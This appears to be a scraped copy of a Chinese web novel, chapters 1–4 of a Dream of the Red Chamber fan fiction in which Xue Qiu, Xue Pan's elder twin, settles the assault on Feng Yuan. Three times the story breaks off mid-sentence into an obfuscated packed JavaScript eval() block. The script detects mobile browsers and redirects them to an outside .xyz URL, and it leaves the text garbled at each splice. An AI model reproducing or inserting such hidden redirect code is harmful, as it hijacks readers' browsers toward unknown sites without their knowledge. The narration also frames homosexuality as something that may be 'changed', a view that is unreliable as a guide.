《[红楼]薛家长子》 1. 第 1 章 腊月的天儿，滴水成冰。 金陵城却格外热闹，马上就要过年了，不论贫富都要置办些年货，百姓也挑着家中货物出来售卖，置换些东西好过年。背着箩筐的百姓、挑着扁担的小贩、押送货品的商队……在城门处排起长长的队伍。 一辆马车缓缓驶过，并未饰以朱轮华盖，细处却可看出考究。车架比普通马车大上许多，使用黄花梨木制造而成，轮毂、车轴镀以金边。马车通体雕刻蝠纹，车窗没有用布幔，而是镶嵌彩色琉璃。 十几个随从骑马随扈左右，腰佩宝刀，气势不凡，引得路人纷纷避让，不敢有丝毫冒犯。 马车直奔一侧专供贵人通行的便门，不多时进了城，才有人禁不住好奇：“这是哪家的？如此威风！” “这你都不知？没瞧见马车上的徽记么，这是薛家的！” 薛家乃是金陵数得上的望族，本是紫薇舍人薛公之后，如今虽无人站在朝堂之上，却领着内府帑银行商，攒下不知多少身家，有“珍珠如土金如铁”之说。 “原是他家，难怪如此排场。”前头那人恍然大悟，随即又摇了摇头。 年初薛家当家人急病仙去，只留下夫人并几个年幼的儿女，恐怕如今的日子不好过呐！ * 马车里，薛虯正在闭目养神。 他是薛家这一代的长子，与薛蟠同胎双生，如今不过十三岁，却已经初见世家公子风范。 他身着月白色如意云纹缎地直裾，外罩缂丝面灰鼠皮大氅，宽衣博带，乌发半束。全身上下别无装饰，只有腰间一枚金镶玉带钩，以及束发的和田玉小冠。 面如冠玉、眉若染漆，风姿特秀、郎艳独绝，正所谓青袍美少年，黄绶一神仙①，薛虯虽不穿青袍，却可称一句翩翩美少年。 小厮长瑞往火炉里加了点香料，动作极轻，唯恐惊扰薛虯休息。 薛虯并没有休息，他在思考人生。 这本不是他会做的事，毕竟身为薛家长子，薛虯前面十几年的人生极为顺遂，出身贵胄、家庭和睦，他本人自小聪慧，学什么都一点即通，极得薛父爱重。 若说有什么挫折，大概就是幼时身体不好。 许是在胎中与薛蟠的营养分配出了问题，两个孩子出生后差异极大。薛蟠身强体健，能吃能睡、能跑能跳，脑子却有点不够用。薛虯生来聪慧，却是个病秧子，打小抱着药罐子长大。 不过因为薛家富贵，这点挫折便也不算什么。薛虯从不缺名医好药，五岁那年，薛家更是砸重金将他送去金陵名观灵应观清修，原本只是病急乱投医的无奈之举，不想他竟真的慢慢好了起来，长到十岁上时便与常人无异，因为饮食作息规律，勤于锻炼，如今比普通人还要康健一些。 可惜天有不测风云，今年开春，薛父不慎感染风寒，缠绵病榻一月后不治而亡。这于薛家无疑是一场灾难，薛虯同样哀痛难抑，还为此病了一场。 病愈后薛虯开始时不时做梦，梦中他似乎变成了另外一个人，过着与现在大不相同的生活。梦境太过真实清晰，让薛虯倍感恍惚，不知是庄周梦蝶，还是蝶梦庄周。 更为巧合的是，他刚刚在梦中经历完另外一段人生，灵应观的观主便说他命格已改，不必再避世清修了。 …… 薛虯伸手揉了揉眉心，他至今也不清楚那到底是黄粱一梦，还是前世今生。但有一件事是肯定的—— 他是薛家的儿子！ 前面十三年的经历不是假的，他入口的每一样食物、品过的每一种味道、看过的风景、听过的声音都是真的，薛母体贴入微的关怀是真的，薛父的爱重期待也是真的。 既然如此，何必计较这里是二十一世纪还是庆朝？他只是金陵薛家的长子薛虯而已。 反正在那个梦里，他的父母商业联姻，他也只是被生下来继承家业的工具人，相互之间没什么感情，自然也谈不上牵挂。 * 马车在金陵街道上辘辘驶过，约莫半个时辰后，在一座富丽堂皇的宅院大门前停下。 宅院占地极广。碧瓦朱甍、雕梁绣户，隔着重重高墙，隐约可见阁楼高高翘起的檐角。朱红色大门紧闭，上悬黑底金字匾额，“薛府”二字大气遒劲。 七八个锦衣华服的仆役守在门口，远远见到薛虯的马车，早有机灵的进去回禀，其余人则上前迎接，搬脚凳的搬脚凳，拿东西的拿东西。 薛虯弯腰下了马车，在众人的簇拥下缓步进府。一路奇石假山，流水潺潺，真可谓一步一景，既有北方之大气庄严，又兼南方之精致秀美。 仆役们各司其职，见到薛虯纷纷行礼。 薛虯也颔首回礼，见他们神情似乎有些不自然，也没有放在心上。 进得内院，便见薛母带着宝钗在正房门口翘首以盼。 薛父去世将近一年，薛母明显憔悴了许多。去年此时她还气色莹润，容光焕发，看起来只有三十出头，如今却面容暗淡，鬓染白霜，脸上带着难掩的疲惫。 薛虯心中一酸，快走几步上前跪下：“儿子给母亲请安。” “快起来！快起来！” 薛母忙将人扶起，细细端详：“可算把你盼回来了，在观中一切可好？” “都好。”薛虯含笑回答，“母亲时常派人垂问，衣食住行样样周全，儿子自是处处安好。” “那便好！前日你来信说命格已改，可是真的？” “观主所言，想来不会有假 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书里没有薛虯这个人，薛父去世后，薛蟠成了新的当家人，只是他缺乏才干，不能撑起家族门楣，薛家在他手中逐渐衰败，只能依靠王家和贾家勉强保存。 为了给家族搏一条出路，薛母与宝钗在贾家伏低做小、小意讨好，甚至拿宝钗的婚事做为筹码。可她们的下场依旧不好，在王贾两家相继覆灭后，失去靠山的薛家也成了无根浮萍，随风被吹散了。 书中没有明写薛姨妈、宝钗和薛蟠的结局，但略一想想就知道，没有家族庇佑，家里又没个顶事的男人，他们的生活必定好不到哪去。 薛虯心中酸涩难言，他的母亲出身名门，自小养尊处优，出阁后与丈夫恩爱不移，除了为儿女操心，不曾受过任何苦难。 他的妹妹也是千金贵女，被父母兄长捧在手心，锦衣玉食地娇养长大，才干品貌样样出众，是金陵闺秀的典范。 若非家族不得力，薛母本该是薛家的老封君，每日吃吃喝喝，想玩什么玩什么，闲了找人说说话，日子过得逍遥自在。宝钗也该嫁一如意郎君，夫妻恩爱和睦，生活圆满称心。 只可惜薛蟠不争气，让她们吃了那么多苦头。 好在现实与书中终究不同。如今他身体健康，也不再受命格困扰，此次回来便会接手家业，必不会让薛家再落到那般结局。 想到薛蟠，薛虯才发现薛蟠一直没露面，奇道：“薛蟠在忙什么呢？” 他只是随意一问，却不想薛母脸色变得极为难看，宝钗也低着头一言不发，心中便有了不好的预感。 “他是不是闯祸了？” 2. 第 2 章 “昨日那孽障与狐朋狗友上街闲逛，因为一个小丫头与人生了争执，指使家丁将人打伤了。” 提到薛蟠，薛母抹着眼泪与薛虯说起昨日之事。 薛虯默然，这么熟悉的剧情，除了英莲与冯渊应该没有旁人了。 他原还对梦中之事有所保留，如今却不得不信。不出意外，冯渊将在被打三日后不治而亡，冯家老仆将薛蟠告上公堂，在贾雨村的包庇下，以“薛蟠已死”为由了结此案。 由此薛蟠变成了“活死人”，薛家也因此名声扫地，后来薛家败落，未必与此事无关。 薛虯按了按眉心，他原想着归家后好生约束薛蟠，尽量避免此事发生，不想还是迟了。 “受伤的那位公子如何？” “听说伤得不轻，管家送了些药材过去，多的我也不知道。”薛母叹道，“冯家的人恼了我们，什么都不肯告诉。” 那是自然，换成谁处在冯家的位置，都不会对薛家人有好脸色。 薛虯镇定道：“母亲且宽心，此事我来处理吧。” 薛母拉住薛虯的手拍了拍，顿了一会儿才道：“你兄弟是个混账，除了憨顽惹祸，丁点儿也指望不上，我和宝钗又是女眷，外头的事一概插不上手，一出事便成了蒙头的苍蝇，如今能依靠的只有你了。” 薛虯反握住她的手：“母亲放心，儿子会尽力周全的。” “你打小便主意正，我没什么不放心的，只是苦了我儿。” 薛母看着眼前的长子，心中十分难受，她的虯儿也才十三岁啊！旁人家这个年纪的孩子还在学堂念书，为了成绩和功课烦恼，薛蟠素日游手好闲招猫逗狗，她的虯儿却要撑起偌大的薛家，还要替弟弟收拾烂摊子，叫人如何不难受？ 可恨老爷去的早，她自己又没本事，否则虯儿何至于如此辛苦！ 想着想着便又淌下泪来。 薛虯与宝钗对视一眼，都有些无奈。薛宝钗拿出帕子替薛母擦泪，温声细语地安抚，又转移话题：“哥哥一早便出发，这会儿定是饿了，是不是让厨下准备饭食？” 薛虯含笑道：“旁的也就罢了，母亲小厨房做的芋煨白菜儿子甚爱，这会儿正想着呢。” “都有！一早就备着了，只等着你回来。” 薛母果然被转移了注意，张罗着叫人传饭，正房立时热闹起来，不一时八仙桌上便碗盘森列，除了薛虯点的芋煨白菜，还有罗汉斋、素烧鹅、八宝豆腐、清炒豌豆苗、金镶白玉板，都是薛虯往日爱吃的。另有凉菜三四样，包子点心三四样，粥品主食三四样，虽是素食，却十分丰盛。 母子兄妹三人用过饭，薛母面露疲惫之色，由丫鬟服侍着进里间休息，薛虯和宝钗轻手轻脚地退了出来。 薛宝钗叹息道：“为着二哥这事，妈昨晚上熬了一夜，水米也用不进去，亏得大哥回来及时。” 薛虯看着她：“你这些日子也没少操心吧？” 瞧着比几个月前沉稳多了，十岁出头的小姑娘，心事太多了也不好。 他伸出手，轻柔地在宝钗她头上拍了拍，温声道：“回去好好歇着吧，外头的事有我呢。” 略显亲昵的动作令薛宝钗一愣。 薛虯离家之时，薛宝钗才不过三岁，以前的事早记不得了，后来的这些年聚少离多，即便有心亲近也显得生疏。薛虯克己复礼，薛宝钗亦是大家闺秀，言谈举止总是克制，如此亲密还是头一回。 待她回过神来，薛虯已经大步流星地走了。 丫鬟莺儿笑嘻嘻道：“大爷对姑娘可真好！” 宝钗微微一笑，拢了拢身上斗篷：“咱们也回吧。” 莺儿应了一声：“姑娘是该回去歇着了，昨儿才睡了不到两个时辰，身子哪里受得了！” * 另一边，薛虯正吩咐长瑞：“你让人拿着我的名帖，请孙老往冯家走一趟。 ” 孙老原是御医，医术极佳。十年前他致仕后本要留在京都，正值薛父四处替薛虯求医问药，花费许多心思才说动他回金陵老家养老。那时薛虯才三岁，只记得经过孙老调养，他的身子松快很多，但始终无法根治，无奈之下才被送入道观。 没了薛虯这个小病人，孙老也没再回京都。这些年年纪渐长，他便一心钻研医术，偶尔治一治求上门的病人，却很少出门看诊了，轻易没人能请动他。 薛家自然请得动，只是薛母和管家恐怕没想到冯渊会伤得这么严重，所以没劳动他老人家。 “来时观主带给我的丸药各分出几丸，一并给孙老送去，一半给他，一半请他带到冯家，看能不能派上用场。” 灵应观名声在外，堪为江南道观三甲，除了历史渊源和卜卦之术外，便是老观主一手出神入化的制药本事，不论什么丸药，经他手制出的效果便格外好，很多人怀疑他给丸药开光。 这丸药极难求，若非薛虯与观主投缘，也得不了这么许多。 有这两样在，保住冯渊性命的机会便大多了。 长瑞应了一声。 薛虯：“派几个人在冯家门口守着，一有消息立马告诉我。告诉孙老，冯渊需要什么药尽管说，便是咱们家一时没有，也会想办法给他找来。” 长瑞：“是！” 薛虯：“去查昨日之事，任何细节都不要放过。注意外头的消息，再去把长福叫过来，我有话问他。” 长福是薛蟠的贴身小厮，与薛蟠形影不离，必定清楚昨日始末。 长瑞一一应着，见薛虯没有旁的吩咐，问道：“是否要小人派人往知府衙门走一趟？” 方才席间薛母还是提起了贾雨村，让薛虯必要之时向他求助，贾雨村受贾政举荐之恩，必定不会拒绝。 薛虯沉吟片刻，摇摇头：“暂且不用，看看冯渊那边的情况再说吧。” 贾雨村倒也不是不能用，只是不能由着他胡乱发挥，若一定要用这步棋，他得先想好怎么走才行。 长瑞得了吩咐办事去了，薛虯则回了自己的院子。 他的院子名为青桐院，在前院与后院的交界之处，距离薛母所在的正院不远，院子并不算很大，但收拾得开阔明亮、清幽雅致，花木扶疏、四时不败，即便时值寒冬，依旧不乏美景可赏。 院子正中有一棵老桐树，据传已有上百年历史，乃是前朝一位官员为了吸引贤才亲手所植，当日薛家先祖安家置业，特将此树圈在宅邸之中，又于院子四周遍植梧桐，渐成一景，青桐院便是因此得名。 院子里丫头小厮齐备，即便薛虯久不归家，也收拾得齐齐整整。地龙在收到薛虯将回金陵的消息时已烧了起来，屋子里暖意融融，又有鲜花之馥郁，竟有种身在春日之感。 薛虯解开大氅，丫头锦书接过去，笑着说：“大爷可算回来了，奴婢们都盼着呢！” 锦书是薛母派来伺候薛虯的大丫头，原本还有一个，因着薛虯不喜人多，也不爱用丫头伺候，又将人送回去了。如今青桐院只有锦书并两个小丫头管理杂事，其余都是小厮。 锦书长着一张容长脸，容貌并不拔尖，但是沉稳干练，很有梦里那世女强人的风采。她收起大氅，又给薛虯倒了一杯热茶，便自去忙她的去了。 一盏茶的功夫，小厮回话说长福来了。 薛虯：“让他进来。” 很快，长福缩着脖子被带了进来，仿佛一只被掐住脖子的小鸡，屋中之人纷纷忍笑。 薛虯也颇感无奈，都说物似主人形，用在此处或许不大合适，却格外形象传神。薛蟠憨直，他偏爱的小厮也是如此。薛父没少安排机灵的伺候，只是都不如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431567|153881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长福讨薛蟠喜欢。 长福恭恭敬敬跪下行礼，声音还有些发颤：“奴、奴才给大爷请安。” “起来吧。”薛虯淡淡道，“知道为什么叫你来吗？” “知道，是为了二爷打人的事。” 薛虯颔首：“既然知道，那你说说当日是什么情况。” “是。” 长福并不敢在薛虯面前弄鬼，问什么便说什么，薛虯很快便弄清楚缘由。 原来昨日薛蟠并不打算出门，因着薛虯传信说这几日要归家，薛蟠想在家中等着。只是他的几位好友上门邀请，薛蟠推辞不过便出去了。几人闲逛一圈，挑了个酒家吃饭，出来时便看到有人卖女儿。 英莲长相不俗，引起薛蟠一行注意，狐朋狗友一番调笑，薛蟠便决定将人买下，还被那拐子坑了一笔，很是出了个大价钱。 这倒也罢了，薛蟠手头一向宽松，并不把百两银子看在眼里。不曾想那拐子竟一女二卖，恰好冯渊前来接英莲，二人便争抢起来。 薛蟠素性张扬，又因出身富贵，一向只有别人捧着他，没有他让旁人的，自然不肯退让，冯渊也执拗不肯放手，争抢便成了争执，争执又变成争斗，混乱之中，好友之一与冯渊动起手来，薛蟠本就生气，见状更是怒发冲冠，冲动之下令家丁出手，就成了现在这个局面。 薛虯：“先与冯渊动手的是谁？” 长瑞愣了一下，不知道大爷为什么这么问，但还是老老实实回答：“是郑家的六爷。” “做珠宝生意的郑家？” “是，郑六爷与二爷是好友。” 薛虯不置可否。 长福等了片刻，见薛虯没再追问，才小声替薛蟠辩解：“二爷只是想稍微教训冯渊一下，没想到他会伤得这么严重。” 薛虯冷笑：“是怪冯渊不耐打吗？” 长福讪讪闭上了嘴。 “好了，你下去吧。”薛虯摆摆手，长福明显松了一口气，行礼后一溜烟退了出去。 屋内再次安静下来，薛虯垂着眼，思索破局之法。 按照长福的说法，此事乃是薛蟠之过无疑，虽然勉强算情有可原，但律法不会认，金陵百姓也不会认。 其实这事要解决并不难，如原著一般谎称薛蟠已死，堵住冯家和金陵的口，明面上就了了。暗地里则不上报销户，薛蟠在律法上还是活着的，只要日后低调一些，或者换个地方过活，一切便可与常人无异。 原著中薛蟠就是去了京都，且照样招猫逗狗横行无忌，这件事也没有再被翻出来过。 但这毕竟不是长久之计，只要薛蟠还活着，这就是一个现成的把柄。原著中薛家日渐败落，没有人把他们放在眼里也就罢了。但薛虯一定要振兴薛家，难免招人眼，一旦有人打什么主意，随时都能拿着这条把柄威胁或者治罪薛家。届时不仅薛蟠跑不掉，整个薛家都要被牵连进去。 要想解决得干净，就得想办法把薛蟠摘出来。或是推个人出去顶罪，或是在冯渊的死因上做文章，不外是多花些银钱罢了。 但薛虯并不打算这么做。此事发生在大庭广众之下，目睹之人众多，操作难度极高。即便做成了，也很难堵住悠悠众口，百姓又不是傻的！ 且此举有违薛虯的行事准则，若薛蟠是无辜的，薛虯自然会不惜一切代价保住他，但薛蟠的确有错，受罚不一定是坏事。 薛虯更倾向于大义灭亲，舍薛蟠一人保全家族，只要不是直接治成死罪，不拘流放还是充军，薛家都能给他打点妥当，虽然免不了要吃些苦头，却可保性命无虞，日后遇赦再回来，也能堂堂正正重新做人。 只是如此一来，薛母就要伤心死了。 思来想去，竟没有万全之策，最好的还是冯渊无事，一切困难都可迎刃而解。 3. 第 3 章 这日下午，没有等到冯家那边的消息，倒是长瑞先回来了。 他已将前因后果查得明白，大致和长福所说差不多，不过要详细得多，是谁将众人聚起来，怎么劝薛蟠一起出去，都去了哪些地方，为什么要去那家酒楼，玩了什么、说了什么，怎么遇到那个姑娘，如何与冯渊争执乃至拳脚相加，全都打听得清清楚楚。 长瑞：“当时在场之人不少，很多人看到郑六公子与冯公子先动手，二爷才让家丁出手的。小人找到几个人，若有需要，他们愿意上堂替二爷作证。” 聊胜于无而已。 薛虯：“那郑六秉性如何，你可打听了？” “打听了。小人也疑心有人弄鬼，特意着人打探这位郑六公子的底细。”长瑞道，“郑六是郑家嫡幼子，自小极受宠爱，骄狂成性，时常惹是生非。老爷在时便不喜二爷与他往来，只是二爷与他脾气相投，老爷也无法。” “如此说来，此事只是巧合，并非存心了？” “以眼下的情状看，应是如此。” 那也罢了，薛虯又问：“外面可有风言风语？” “有。”长瑞声音低了一些，“百姓颇为……惶恐。” 意料之中！ 薛蟠纵容豪奴伤人乃是事实，且被打的冯渊并无大的错处，只因小事与薛蟠起了龃龉罢了。冯渊乃是乡绅之子，小有身家，尚且受此无妄之灾，更何况远远比不上冯家的普通百姓呢？ 他们会想，若他们不小心得罪了薛家的人，是不是也会落得冯渊一样的下场？ 不！他们还不如冯渊。至少冯家有钱，可以请医延药为冯渊医治，躺床上修养半年一载也无妨，而他们不仅要受一场罪，很可能平白丢掉性命，即便侥幸活下来，也要拖累一大家子。 物伤其类，兔死狐悲！ 长瑞：“不过大爷和太太送了很多东西到冯家府上，百姓知道后议论少了些。” 薛虯点点头，又问：“冯家那边如何？” “咱们带着御医和好药过去，如今倒是能说上话了，只是小人方才回府之前，还没有听到那头的消息。” 话音刚落，小厮进来回话，昨日和薛蟠一起玩的郎君们被长辈带着前来拜访。 长瑞一听便明白了：“只怕是来赔礼的。” 薛虯点点头，问：“来的都是谁？” 小厮将名单报上，昨日和薛蟠一起玩的有八个，来的有六家，还有两家没来，其中便有郑六郎所在的郑家。 不可能没收到消息，这六家能一起出现，便说明他们是通着消息的，即便没人通知那两家，他们自己也能打听到，若有心自然会赶过来，没有来便是无此心。 长瑞顿生恼怒：“别人也就罢了，郑家不来是几个意思？” 这件事里若说谁的错处最大，头一个是薛蟠，第二个便是郑六郎，力邀薛蟠出去玩的是他，先与冯渊动手的也是他。别人都登门赔礼，郑家却不来，是不把薛家放在眼里吗？ 薛虯拨弄着茶盏盖子，心说郑启元有没有把薛家放在眼里不知道，但不把他这个新任家主放在眼里却是肯定的。 这也不能完全怪郑启元，薛虯年纪小，从前又默默无闻，旁人小看也是有的。 他瞥长瑞一眼：“宠辱莫惊，怎么才下山就忘了？” 长瑞立刻收敛了情绪，垂首应是。 薛虯又吩咐报信的小厮：“你去告诉诸位长辈，家中事多，一时不便他们相见了，此事与他们并不相干，让他们不必放在心上。” “是！”小厮应着，躬身退了下去。 长瑞迟疑道：“这几家在金陵颇有地位，大爷怎么不见？” “他们来是为了求薛家一个态度，我将态度给他们便足够了。如今我初初接管薛家，一无名望，二无成就，即便倚仗薛家之势占得上风，也难以真正服众。不若等做成几件事再相见，旁人才会将我视为薛家家主而非小辈。” 长瑞若有所思，又问：“那郑家还要管吗？” 管自然是要管的，郑家如此下他脸面，若无动于衷，旁人还以为他软弱可欺。但此事不急，眼下最重要的是薛蟠，万事都可容后再议。 * 时间一点点过去，冯家那边还是没有消息，薛家好不容易轻松些的氛围又重新紧张起来。 孙老算是金陵最好的大夫，若连他都束手无策，冯渊只怕真的危险了。 薛母跪在小道堂，念了一下午的经，薛虯写好了几封信，只等宵禁还没消息便送出去。明日便是原著中冯渊去世的日子，他得提前做好准备。 好在天意垂恩，入夜没多久，一匹快马飞驰进薛家所在街道，停在巍峨高峻的大门前。朱红色的大门大开，灯火层层亮起，迎接这个好消息。 来人是孙老的弟子，名叫黄芩，今年三十出头，虽然还没完全出师，医术却已十分不错。他穿着厚重的棉衣，额头结着一层寒霜，显然这一路并不好受。 锦书捧来热水和热茶，黄芩简单梳洗过后才开口：“冯公子伤得不轻，我们到的时候已经烧了半日，人都迷糊了。先生给他施了针，也用了药，方才烧已经退了。这几日先生都会住在冯家，随时观察他的情况，再加上灵应观的丸药，保住性命应是不成问题。” 虽然方才观黄芩神色便有猜测，但从他口中听到确切的好消息，薛虯还是舒了一口气。 保住命就好！ “劳烦孙老了，改日定登门道谢。”薛虯道，“劳烦你跑这一趟，天色已经晚了，不若在薛家休息一晚，明天早上再回去。” 黄芩没有推辞，随着人下去安置。 薛虯又打发人去向薛母和宝钗报信，不一会儿去正院的人回来了，薛母没有说什么，只是叫人拿回来两支山参，是给黄芩跑这一趟的谢礼。 这两支山参年份不小，可见薛母有多么高兴。 薛虯将东西递给长瑞：“母亲的一片心意，明儿送黄先生之时记得给他。” 长瑞应了。 这一晚薛母和宝钗难得睡了个好觉。之后数日，在孙老的医治下，冯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431568|153881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渊的情况越来越好，待到第五日便稳定下来，彻底脱离了生命危险，之后只要好生将养，便可与常人无异。 直到这时，薛家人提着的心才彻底落回了肚子里。 又过两日，薛虯递上拜帖，亲自登门探望冯渊。 * 冯家住在金陵城外，家中有十几间铺子和数百亩良田，是个不大的乡绅。马车出了观音门，顺着官路走上小半个时辰，又拐进一条略窄些的小路，将近一刻钟后在一座三进的青砖大院前停下。 这便是冯家了。 冯家的老管家等在门口，拉着脸面色不虞。 他在冯家干了几十年，是看着冯渊长大的。老爷太太去后，冯渊对他更为依赖信任，他也尽心竭力照顾这个可怜的孩子，两人名义上是主仆，其实和亲爷孙没什么区别。 前些日子冯渊去了一趟金陵城，回来便兴奋地跟他说看上了一个丫头，要将人买回来纳为妾室，银子都已经给了，只等三日后接人，冯管家还暗自高兴。 他家小爷哪里都好，唯有一处不太如意，便是只爱粉面郎君，不爱女娇娥，以至于二十出头还没成婚，更无一儿半女承欢膝下，愁得冯管家大把掉头发，深觉辜负老爷太太的托付。 如今冯渊终于愿意成家，虽然只是纳妾而非娶妻，女方还是个来历不明的小丫头，冯管家也高兴得不得了，已经开始琢磨给未来的小主子准备东西了。 谁料三日后冯渊兴致勃勃去接人，却浑身是血气息奄奄地被人抬回来，吓得冯管家三魂没了七魄，差点当场厥过去。对罪魁祸首薛蟠更是恨得滴血。 若冯渊就此撒手去了，冯管家即便拼上这条老命，也一定要找薛家讨个说法。好在冯渊命硬，究竟挺了过来。只是冯管家还是不待见薛家，对这位来访的薛家大爷也十分不喜。 要不是薛家势大，他们招惹不起，冯管家恨不得将人拒之门外才好。 即便不敢和薛家翻脸，冯管家也没打算轻易放过，他早就安排好了，叫一个小厮与他一唱一和，冯管家扮白脸奚落薛虯，小厮则扮红脸从中调和，既能替他们家小爷出一口恶气，也不至于让薛虯完全下不来台。 华贵的马车缓缓停下，冯管家和小厮对视一眼，挺直脊背斗志昂扬。 车门被从外打开，一个清风朗月般的少年踏了下来。 薛虯今日穿着朱青色缠枝暗纹直裾，外披纯白色狐裘氅衣，皎如玉树，舒朗君子，午后明媚的阳光给他打上一层光晕，只是站在那里，便令这乡下低头都显得华贵起来。 冯管家有一瞬间的怔愣。 他虽没有大的见识，但见过的贵公子不少，也曾远远见过薛蟠一回，印象中除了穿戴格外华贵、行事格外嚣张外无甚特别，不想他的同胞兄长竟如此出众，正是世人想象中世家公子该有的样子。 冯管家和小厮对视一眼，都有些气短，准备好挤兑人的话说不出来了，冷脸也摆不出来了，冯管家不由自主上前几步，语气客气而谦卑：“薛大爷远道而来，真是蓬荜生辉啊！” 4. 第 4 章 薛虯态度温和地叫起，并不因冯管家卑微而有丝毫倨傲，却不会让人觉得软弱可欺，反而有如沐春风之感，令人更为敬重信服。 至少冯管家的腰就弯得更深了，毕恭毕敬道：“我家小爷已经在等着大爷了，大爷请随我来。” 薛虯点点头，随着冯管家进府。 冯家宅邸远不如薛府精致华美，但是随性自然，颇有几分野趣。经过抄手游廊进得二院，便是冯渊居住的院子，两个纤细秀美的小厮候在外头，恭敬地打帘请他们进去。 进得屋内，便有一股子浓重药味。一个二十出头年纪，细眉细眼、容貌清秀的青年揽着被子半靠在床上，脸唇发白，精神头倒还不错。 这便是冯渊了。 见到缓步进门的薛虯，冯渊同样愣了一下，下意识便要起身见礼。薛虯一只手按住他肩膀：“你有伤在身，不必客气了。” “是、是。”冯渊只觉得被按到的地方有些发烫，薛虯说了什么也没听清楚，只机械地听话坐了回去。一只手无意识抓住被角，眼睛根本不敢与薛虯对视。 还是老管家可靠一些，迭声令人准备茶水点心，又亲自搬来椅子给薛虯。 薛虯道谢后坐下，含笑与冯渊道：“本该早些便来探望，只是怕扰了冯公子养病，这才耽搁至今，冯公子眼下如何了？” “啊？啊！没、没事了……”冯渊结结巴巴地回答，“孙老御医医术很好，我已经没有大事了，还没谢过薛大爷呢。还有薛家送来的药材和补品，也都是难得的好东西。” “这都是薛家应该做的，冯公子实在不必言谢，舍弟无礼，令公子受了委屈，该薛家向公子赔礼才是。” 提到薛蟠，冯渊心中不悦。按照他本来想法，是绝对不会轻易原谅薛蟠的。但是看神仙公子似的薛虯向他赔礼，那点火气就像被针戳破的气球，“咻”一下散了。 “算了算了，此事与薛大爷无关，薛家做得也够多了。”冯渊摆摆手，想了想，又有些不甘心地补充一句，“只要薛家管住薛二爷，别让他再胡作非为就行了。” “自然，从前我久居山中养病，家中只有母亲和妹妹，这才令薛蟠失了管教，日后不会再有此类事情了。”薛虯给长瑞一个眼神，长瑞知机地将礼单奉上。 薛虯含笑道：“此次连累公子受了大罪，虽说公子大度不计较，薛家却不得不聊表歉意，这份薄礼请公子务必收下。” 冯渊推脱不得，打开礼单一瞧，眼睛不由自主瞪大了。 名贵的药材补品他这些日子见多了，薛虯这次又送了许多来，除此之外还有各种金银珠宝、名贵的衣料器皿、一个五百亩的庄子、以及五间金陵城中的旺铺。 这些东西加起来，价值快要赶上整个冯家了！ 冯渊和管家对视一眼，心中都有些复杂。这些东西对薛家或许不算什么，但对冯家来说就很贵重了，薛虯本不必做到这个份上，反正冯渊没什么大事，冯家还想在金陵这个地界过下去，难道还敢跟地头蛇的薛家为难不成？ 但薛虯并未以势压人，反而多番安抚，还亲自上门探望，如此诚心诚意，他们心中仅剩的怨气也渐渐散了。 冯渊捏着礼单，这次却是真心实意的：“既然如此，此事便就此揭过，以后都不必再提了。” 说完看向冯管家，征求他的意见。 冯管家却提起一件事：“那个姑娘……” “对对！”冯渊也想起来了，激动地说，“小子对那姑娘真心实意，不知大爷能否将她给我，二爷为她花的银子，我愿意全数奉还。” 冯管家有些肉疼，薛蟠为那姑娘花的钱可不少，他们家虽拿得出来，却有些勉强。 但想到未来的小主子，这点钱又不算什么了。 薛虯被两个人巴巴看着，心中沉吟。 其实冯渊这个人不错，家有薄产，虽不能大富大贵，但日子也有滋有味，他又对英莲一往情深，若能一直这样下去，对英莲来说未必不是好选择。 只是冯渊到底有前科，他原来好的可是男风！ 也不知同性恋到底能不能彻底改了，若冯渊只是一时贪图英莲美貌，待到新鲜劲过去，英莲岂还有好日子过？更别说冯渊只是纳妾，并非娶妻，失宠的妾室过的什么日子根本不用想。 薛虯不是什么良善人，本不该考虑这么多。只是因着书中英莲与薛家的缘分，多少对她有点怜惜，也愿意给她一个机会，略作思索后道：“那姑娘也是可怜，既然关乎她的归属，你与薛蟠互不相让，不若问问她自己的意见如何？” 冯渊不是很情愿，他有自知之明，薛蟠虽然不好相与，但是长相不错，出身更是上佳，相比之下，他唯一的优势便是一颗真心而已，要是那姑娘不选他怎么办？ 薛虯：“我家尚在孝期，至少两年内不能娶妻纳妾，期间公子自可设法求取姑娘欢心。烈女怕缠郎，何愁不能抱得美人归呢？” 冯渊还是迟疑。 薛虯微笑：“莫非公子心意不坚，才不愿意多费心思？” “怎么可能，我对她的心意天地可证！”冯渊吃了一计激将，拍着胸膛道，“让她自己选就是了，即便不选我也无妨，我自会让她看到我的诚意，心甘情愿同我一处的。” “正是这个道理！那姑娘现在到你家，多半只是迫于无奈的缘故，若相处过后顺理成章在一起，便是两情相悦天作之合，届时自是心意相通恩爱甜蜜，不比空得两年时光强得多？” “大爷说得有理！”冯渊被彻底带歪，甚至盼着英莲不要选他，好给他发挥的空间。 冯管家：“……” 薛虯此行目的达到，又与冯渊说了几句话便起身告辞，冯渊动弹不得，冯管家亲自送他。 路过那两个少年时，薛虯脚步顿了一下，什么也没说就走了，但冯管家人老成精，哪有什么不明白的？目送薛虯的马车走远后便匆匆返回，路过那两个少年时还狠狠剜了他们一眼。 这二人自然不是普通的小厮，他们从前是贴身伺候冯渊的，算是半个屋里人，冯渊买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 